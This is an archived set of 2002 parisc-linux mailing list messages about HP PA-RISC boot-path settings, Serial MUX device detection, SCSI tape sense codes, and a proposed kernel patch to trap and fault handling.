	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16062

"marc " wrote:
> Oh one last question, how can I change the default boot
> from P0 to P1? Everything works fine if I do a SEA then BO P1
> at startup, and I want to make this the default.

pa pri fwscsi.X.0 (or something like that).

Type "help" or "he path" from the config menu.
It will explain how to set "Primary Boot path".

grant


From - Thu Nov 08 21:24:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Serial MUX support for Nova and K-Class 
	systems.
Date: 07 Sep 2002 16:03:59 -0600
Lines: 139
Approved: news@gmane.org
Message-ID: <1031436239.581.19.camel@beavis>
References: <1029991787.4813.14.camel@beavis>  <3D7A7171.CEA2FEAE@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621697 13755 80.91.229.3 (22 Nov 2014 02:01:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep  7 16:04:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5D474482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  7 Sep 2002 16:04:03 -0600 (MDT)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id B41B52E3E2; Sat,  7 Sep 2002 16:03:59 -0600 (MDT)
In-Reply-To: <3D7A7171.CEA2FEAE@gmx.at>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16063

Hi Christoph,

I'm working on solving the problem why we do not find
the MUX device.  The ESIEE team has generously given
me access to an E35 so I could poke around the HP-UX
iotree and see what I could find.

This is the summary of what I have found:

name_buffer instance hw_addr   parent  sibling    child
"bc"               1      56 0x43b3a0 0xc15240 0xc15040
  "scsi1"          0      52 0xc15000 0xe74140 0xc15080
  ""              -1      53 0xc15000 0xc15200        0
  "mux2"           0      56 0xc15000        0        0
"bus_adapter"      0      60 0x43b3a0 0xe74240 0xc15280
  "lan2"           0       6 0xc15240        0        0
"processor"        0      62 0x43b3a0 0xe74280        0
"memory"           0      63 0x43b3a0        0        0

The MUX sits at: 56/56 with HPA: 0xfffb8000


>From your boot logs posted to the mailing list:

---- walk_native_bus:    testing hpa=0xfffb8000, i=56
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
-------------------------- find_parisc_device: entry, mod=56
-------------------------- find_parisc_device:   bc[0]=-1
-------------------------- find_parisc_device:   bc[1]=-1
-------------------------- find_parisc_device:   bc[2]=-1
-------------------------- find_parisc_device:   bc[3]=-1
-------------------------- find_parisc_device:   bc[4]=-1
-------------------------- find_parisc_device:   bc[5]=-1
-- walk_lower_bus: entry
-- walk_lower_bus: dev: hpa=0xfffb8000, io_io_low=0xfff00000,
io_io_high=0xfff80000


You also found a device at 0xfffb8000 which I am assuming is the MUX.  
(I need to get back on the E35 at the ESIEE to verify my thoughts.)

The problem we are running into here is that 0xfffb8000 is on the
Central BUS, not under the 56/ bus as the console wants to be in
the HP-UX iotree.  It appears to me that the bc and the MUX exist
at the same HPA and that is what is causing the confusion in the
parisc-linux I/O tree.

The other thing that is curious to me is the "" devices under the
bc between the scsi1 and the mux2 device.

I think I can get this problem solved once I get access to the
ESIEE E35 and am able to boot some test kernels on the system to
play with.

As for the scsi driver.  I have the bare-bones (ie. does not work)
of both the skunk (8-bit) and the wizard (16-bit) drivers started from a
while back.  I think you found a reference to the SPIFI chip that we
could use in the driver to further progress the drivers and hopefully
get them talking.

The document is the IOACD document I believe.  What are you looking for?
Parts of the document are on the parisc-linux website, but if that is
not enough info, I'll try to find it for you in the IOACD.

Thanks!

- Ryan



On Sat, 2002-09-07 at 15:36, Christoph Plattner wrote:
> Hallo Ryan,
> 
> after that long time, I did the first experiment with
> your new MUX driver ...
> 
> ... and it fails on my E55.
> 
> But NO WONDER ! I already have the problem finding any
> devices on the I/O interface card, and I had no time
> since weeks now, to do further steps.
> 
> In general I have the problem in basic stuff and in
> docu, special for the I/O scanning via PDC in more
> details. In the normal PDC/IO there is not enough docu
> for that. I was informed, that there is one more docu
> handling this, bt I forgot the name, something like
> "AIO" or so.
> 
> How we can go one step forward, as I also want to 
> start (in slowly steps) the SCSI driver ... ?
> 
> Bye,
> Christoph
> 
> 
> 
> Ryan Bradetich wrote:
> > 
> > Hello all,
> > 
> > I just committed support for the Serial MUX driver as linux-2.4.19-pa5.
> > 
> > This patch has been tested on my K460 and has been working well.  The
> > driver uses the same /dev/ttyB0 device the PDC Software console that
> > Christoph Plattner wrote and is available under the Non-standard serial
> > ports section.
> > 
> > Currently the driver only supports the Eole CAP/MUX (A Direct) device
> > since that is all I have to test with.  Additional devices can be added
> > under this driver as people with systems have a chance to test.
> > 
> > I tried to document the driver with kerneldoc, but it would be nice if
> > someone would check over my comment as I had to google/guess what most
> > of the ioctls and tty flags were.
> > 
> > The committed patch can be found at:
> >         ftp://ftp.parisc-linux.org/patches/serial_mux_v0.1.diff
> > 
> > Feedback greatly appreciated!
> > 
> > Thanks,
> > 
> > - Ryan
> > 
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> -- 
> -------------------------------------------------------
> private:	christoph.plattner@gmx.at
> company:	christoph.plattner@alcatel.at
> 




From - Thu Nov 08 21:24:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel Panic
Date: Sat, 07 Sep 2002 16:08:43 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <20020907220843.24818482A@dsl2.external.hp.com>
References: <200209071546.AA210633180@mail.centraltx.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621698 13759 80.91.229.3 (22 Nov 2014 02:01:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: marc@centraltx.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep  7 16:08:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 24818482A; Sat,  7 Sep 2002 16:08:43 -0600 (MDT)
In-Reply-To: Message from "marc " <marc@centraltx.com> 
   of "Sat, 07 Sep 2002 15:46:25 CDT." <200209071546.AA210633180@mail.centraltx.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16064

"marc " wrote:
> It looks like the st is no longer a loadable kernel module?

Right. It's not:
CONFIG_CHR_DEV_ST=y

See arch/parisc/debian-configs/* for default configs.

> st0: Error on write filemark.
> st0: Error with sense data: Current st09:00: sns = 70  4
> ASC=44 ASCQ= 0
> Raw sense data:0x70 0x00 0x04 0x00 0x00 0x00 0x00 0x12 0x00 0x00 0x00 0x00 0x
>   44 
> 0x00 0x00 0x00 0xa3 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 
> tar: /dev/st0: Warning: Cannot close: Input/output error

Seagate (and other vendors) publishes the subset of SCSI spec they implement.
It includes Sense Key/ASC/ASCQ encodings.
Look for "scsi2_seagate.pdf" on www.seagate.com web site.

Sense Key  = 0x04 == "Hardware Error"
ASC/ASCQ = 0x44/0 == "Internal Target Failure"

You need to find the programming manual for your tape device
and hopefully it explains exactly what this means.

grant


From - Thu Nov 08 21:24:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot Order
Date: Sat, 7 Sep 2002 18:09:08 -0700 (PDT)
Lines: 29
Approved: news@gmane.org
Message-ID: <20020908010908.75589.qmail@web12505.mail.yahoo.com>
References: <20020907215755.7904C482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621698 13763 80.91.229.3 (22 Nov 2014 02:01:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep  7 19:09:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12505.mail.yahoo.com (web12505.mail.yahoo.com [216.136.173.197])
	by dsl2.external.hp.com (Postfix) with SMTP id 6EE64482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  7 Sep 2002 19:09:10 -0600 (MDT)
Original-Received: from [24.197.204.164] by web12505.mail.yahoo.com via HTTP; Sat, 07 Sep 2002 18:09:08 PDT
In-Reply-To: <20020907215755.7904C482A@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16065

And if you want it to start automatically from that path you have to
set autoboot to on.  Autoboot and the path commands are in the
Configuration menu (co from the ma prompt).

derek 

--- Grant Grundler <grundler@dsl2.external.hp.com> wrote:
> "marc " wrote:
> > Oh one last question, how can I change the default boot
> > from P0 to P1? Everything works fine if I do a SEA then BO P1
> > at startup, and I want to make this the default.
> 
> pa pri fwscsi.X.0 (or something like that).
> 
> Type "help" or "he path" from the config menu.
> It will explain how to set "Primary Boot path".
> 
> grant
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


__________________________________________________
Do You Yahoo!?
Yahoo! Finance - Get real-time stock quotes
http://finance.yahoo.com


From - Thu Nov 08 21:24:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RFC - Changes to traps.c (Handlers for 13, changes to 16/17)
Date: Sat, 7 Sep 2002 21:50:59 -0400
Lines: 179
Approved: news@gmane.org
Message-ID: <20020908015059.GN5679@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="61jdw2sOBCFtR2d/"
X-Trace: ger.gmane.org 1416621698 13766 80.91.229.3 (22 Nov 2014 02:01:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep  7 19:51:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (unknown [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9E791482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  7 Sep 2002 19:50:59 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17nrE3-0003Tt-00
	for <parisc-linux@lists.parisc-linux.org>; Sat, 07 Sep 2002 21:50:59 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (46% Sync Ratio [=====.....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16066

--61jdw2sOBCFtR2d/
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline


parisc,

After some banter on IRC about how one should set the stride
for a cache flush using the 'fic' instruction, I noted the 
following possible problems our trap handler:

a. Non-access instruction TLB miss fault (16)
	- No implemented case statement in traps.c
	- No problem, falls through to do_page_fault.
	- Suggest forcing a sigsegv on the process.

b. Non-access data TLB miss fault (17)
	- Calls parisc_terminate and gutters the cpu.
	- This should not happen.
	- Suggest forcing a sigsegv on the process.

c. Conditional Trap (13)
	- No implemented case statment in traps.c
	- Suggest forcing SIGFPE and setting si_code to zero,
	  and allowing the userspace app the decode the 
	  situation from the signal andler (HPUX seems to 
	  this?) via si_addr.

c. All paths must either return or set the fault_address
   and fault_space values? One place does not, I put a 
   FIXME there. Needs review. Those two values are needed
   by the check after the switch statement in handle_interruption.
   Is setting them to zero, as is done now, good enough?

Patch attached :)

c.


--61jdw2sOBCFtR2d/
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="traps.c.diff"

--- traps.c.orig	2002-09-07 21:30:15.000000000 -0400
+++ traps.c.new	2002-09-07 21:30:05.000000000 -0400
@@ -425,11 +425,11 @@
 
 
 /*
- * This routine handles page faults.  It determines the address,
+ * This routine handles various exception codes.  It determines the address,
  * and the problem, and then passes it off to one of the appropriate
  * routines.
  */
-void parisc_terminate(char *msg, struct pt_regs *regs, int code, unsigned long offset)
+void parisc_handle_code(char *msg, struct pt_regs *regs, int code, unsigned long offset)
 {
 	static spinlock_t terminate_lock = SPIN_LOCK_UNLOCKED;
 
@@ -444,8 +444,17 @@
 	if (!console_drivers)
 		pdc_console_restart();
 
-	if (code == 1)
-	    transfer_pim_to_trap_frame(regs);
+
+	/* Not all switch paths will gutter the processor... */
+	switch(code){
+
+	case 1:
+		transfer_pim_to_trap_frame(regs);
+		break;
+	    
+	default:
+		/* Fall through */
+	}
 
 	show_stack(regs);
 
@@ -461,6 +470,7 @@
 	 * system will shut down immediately right here. */
 	pdc_soft_power_button(0);
 	
+	/* Gutter the processor... */
 	for(;;)
 	    ;
 }
@@ -487,7 +497,7 @@
 
 	case  1:
 		/* High-priority machine check (HPMC) */
-		parisc_terminate("High Priority Machine Check (HPMC)",
+		parisc_handle_code("High Priority Machine Check (HPMC)",
 				regs, code, 0);
 		/* NOT REACHED */
 		
@@ -554,6 +564,7 @@
 
 		die_if_kernel("Privileged register usage", regs, code);
 		si.si_code = ILL_PRVREG;
+		/* Fall thru */
 	give_sigill:
 		si.si_signo = SIGILL;
 		si.si_errno = 0;
@@ -568,6 +579,20 @@
 		si.si_addr = (void *) regs->iaoq[0];
 		force_sig_info(SIGFPE, &si, current);
 		return;
+	
+	case 13:
+		/* Conditional Trap */
+		/* The condition succees in an instruction which traps
+		 * on condition
+		 */
+		si.si_signo = SIGFPE;
+		/* Set to zero, and let the userspace app figure it out from
+		 * the insn pointed to by si_addr 
+		 */
+		si.si_code = 0;
+		si.si_addr = (void *) regs->iaoq[0];
+		force_sig_info(SIGFPE, &si, current);
+		return;
 
 	case 14:
 		/* Assist Exception Trap, i.e. floating point exception. */
@@ -575,11 +600,24 @@
 		handle_fpe(regs);
 		return;
 
+	case 15: 
+		/* Data TLB miss fault/Data page fault */	
+		/* Fall thru */
+	case 16:
+		/* Non-access instruction TLB miss fault */
+		/* The instruction TLB entry needed for the target address of the FIC
+		 * is absent, and hardware can't find it, so we get to cleanup
+		 */
+		/* Fall thru */
 	case 17:
 		/* Non-access data TLB miss fault/Non-access data page fault */
 		/* TODO: Still need to add slow path emulation code here */
+		/* TODO: Understand what is meant by the TODO listed 
+		 * above this one. (Carlos - Sep 7, 2002) */
+		
 		fault_address = regs->ior;
-		parisc_terminate("Non access data tlb fault!",regs,code,fault_address);
+		fault_space = regs->isr;
+		break;
 
 	case 18:
 		/* PCXS only -- later cpu's split this into types 26,27 & 28 */
@@ -589,9 +627,8 @@
 			return;
 		}
 		/* Fall Through */
-
-	case 15: /* Data TLB miss fault/Data page fault */
-	case 26: /* PCXL: Data memory access rights trap */
+	case 26: 
+		/* PCXL: Data memory access rights trap */
 		fault_address = regs->ior;
 		fault_space   = regs->isr;
 		break;
@@ -621,6 +658,11 @@
 		pt_regs_to_ssp(regs, &ssp);
 		kgdb_trap(I_TAKEN_BR, &ssp, 1);
 		ssp_to_pt_regs(&ssp, regs);
+
+		/* FIXME: Should this break without setting fault_address
+		 * and fault_space? They are required for the dump later on.
+		 * (Carlos - Sep 7, 2002) */
+		
 		break;
 #endif /* CONFIG_KWDB */
 
@@ -656,7 +698,6 @@
 			up_read(&current->mm->mmap_sem);
 		}
 		/* Fall Through */

From - Thu Nov 08 21:24:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RFC - Changes to traps.c (Handlers for 13, changes to 16/17)
Date: Sat, 7 Sep 2002 22:16:39 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <20020908021639.GA14982@systemhalted>
References: <20020908015059.GN5679@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621699 13769 80.91.229.3 (22 Nov 2014 02:01:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep  7 20:16:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (unknown [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4C906482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  7 Sep 2002 20:16:39 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17nrct-0003uU-00
	for <parisc-linux@lists.parisc-linux.org>; Sat, 07 Sep 2002 22:16:39 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20020908015059.GN5679@systemhalted>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (44% Sync Ratio [====......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16067

pa,

If you have a burning desire to build with this change
then you'll need this bit too.

I'm possibly tempted to stay with the 'parisc_terminate' name
and just change the comments for the function. 

c.


--- linux/arch/parisc/mm/fault.c	2001-12-04 18:19:47.000000000 -0500
+++ linux/arch/parisc/mm/fault.c.new	2002-09-07 22:12:29.000000000 -0400
@@ -256,7 +256,8 @@
 		}
 	}
 
-	parisc_terminate("Bad Address (null pointer deref?)", regs, code, address);
+	parisc_handle_code("Bad Address (null pointer deref?)", regs, code, address);
+	/* NOT REACHED */
 
   out_of_memory:
 	up_read(&mm->mmap_sem);



From - Thu Nov 08 21:24:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Serial MUX support for Nova and K-Class 
 systems.
Date: Sun, 08 Sep 2002 10:49:27 +0200
Organization: private
Lines: 160
Approved: news@gmane.org
Message-ID: <3D7B0F17.92F8A75A@gmx.at>
References: <1029991787.4813.14.camel@beavis>  <3D7A7171.CEA2FEAE@gmx.at> <1031436239.581.19.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621699 13774 80.91.229.3 (22 Nov 2014 02:01:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep  8 02:49:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep12-int.chello.at (viefep12-int.chello.at [213.46.255.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id 45228482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  8 Sep 2002 02:49:30 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep12-int.chello.at
          (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP
          id <20020908084927.UET15160.viefep12-int.chello.at@gmx.at>;
          Sun, 8 Sep 2002 10:49:27 +0200
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16068

Hello Ryan,

what I am looking for is the field definitions of the 
structures of the bus queries. I also have forgotten
the names here (I must go back to my "debug code"
and reread it !!!).
Oh, I have found it: 
	struct io_moudule
and
	struct bc_module
(especially for the second one, I have no idea, where
it comes from). All these structure (there are more)
are defined in `include/asm/hardware.h'.

I have to get back to my hacks, to know more details 
again.

Christoph


Ryan Bradetich wrote:
> 
> Hi Christoph,
> 
> I'm working on solving the problem why we do not find
> the MUX device.  The ESIEE team has generously given
> me access to an E35 so I could poke around the HP-UX
> iotree and see what I could find.
> 
> This is the summary of what I have found:
> 
> name_buffer instance hw_addr   parent  sibling    child
> "bc"               1      56 0x43b3a0 0xc15240 0xc15040
>   "scsi1"          0      52 0xc15000 0xe74140 0xc15080
>   ""              -1      53 0xc15000 0xc15200        0
>   "mux2"           0      56 0xc15000        0        0
> "bus_adapter"      0      60 0x43b3a0 0xe74240 0xc15280
>   "lan2"           0       6 0xc15240        0        0
> "processor"        0      62 0x43b3a0 0xe74280        0
> "memory"           0      63 0x43b3a0        0        0
> 
> The MUX sits at: 56/56 with HPA: 0xfffb8000
> 
> >From your boot logs posted to the mailing list:
> 
> ---- walk_native_bus:    testing hpa=0xfffb8000, i=56
> ---- walk_native_bus:    -- device not processed, mod = i !
> ------ alloc_pa_dev: entry
> -------------------------- find_parisc_device: entry, mod=56
> -------------------------- find_parisc_device:   bc[0]=-1
> -------------------------- find_parisc_device:   bc[1]=-1
> -------------------------- find_parisc_device:   bc[2]=-1
> -------------------------- find_parisc_device:   bc[3]=-1
> -------------------------- find_parisc_device:   bc[4]=-1
> -------------------------- find_parisc_device:   bc[5]=-1
> -- walk_lower_bus: entry
> -- walk_lower_bus: dev: hpa=0xfffb8000, io_io_low=0xfff00000,
> io_io_high=0xfff80000
> 
> You also found a device at 0xfffb8000 which I am assuming is the MUX.
> (I need to get back on the E35 at the ESIEE to verify my thoughts.)
> 
> The problem we are running into here is that 0xfffb8000 is on the
> Central BUS, not under the 56/ bus as the console wants to be in
> the HP-UX iotree.  It appears to me that the bc and the MUX exist
> at the same HPA and that is what is causing the confusion in the
> parisc-linux I/O tree.
> 
> The other thing that is curious to me is the "" devices under the
> bc between the scsi1 and the mux2 device.
> 
> I think I can get this problem solved once I get access to the
> ESIEE E35 and am able to boot some test kernels on the system to
> play with.
> 
> As for the scsi driver.  I have the bare-bones (ie. does not work)
> of both the skunk (8-bit) and the wizard (16-bit) drivers started from a
> while back.  I think you found a reference to the SPIFI chip that we
> could use in the driver to further progress the drivers and hopefully
> get them talking.
> 
> The document is the IOACD document I believe.  What are you looking for?
> Parts of the document are on the parisc-linux website, but if that is
> not enough info, I'll try to find it for you in the IOACD.
> 
> Thanks!
> 
> - Ryan
> 
> On Sat, 2002-09-07 at 15:36, Christoph Plattner wrote:
> > Hallo Ryan,
> >
> > after that long time, I did the first experiment with
> > your new MUX driver ...
> >
> > ... and it fails on my E55.
> >
> > But NO WONDER ! I already have the problem finding any
> > devices on the I/O interface card, and I had no time
> > since weeks now, to do further steps.
> >
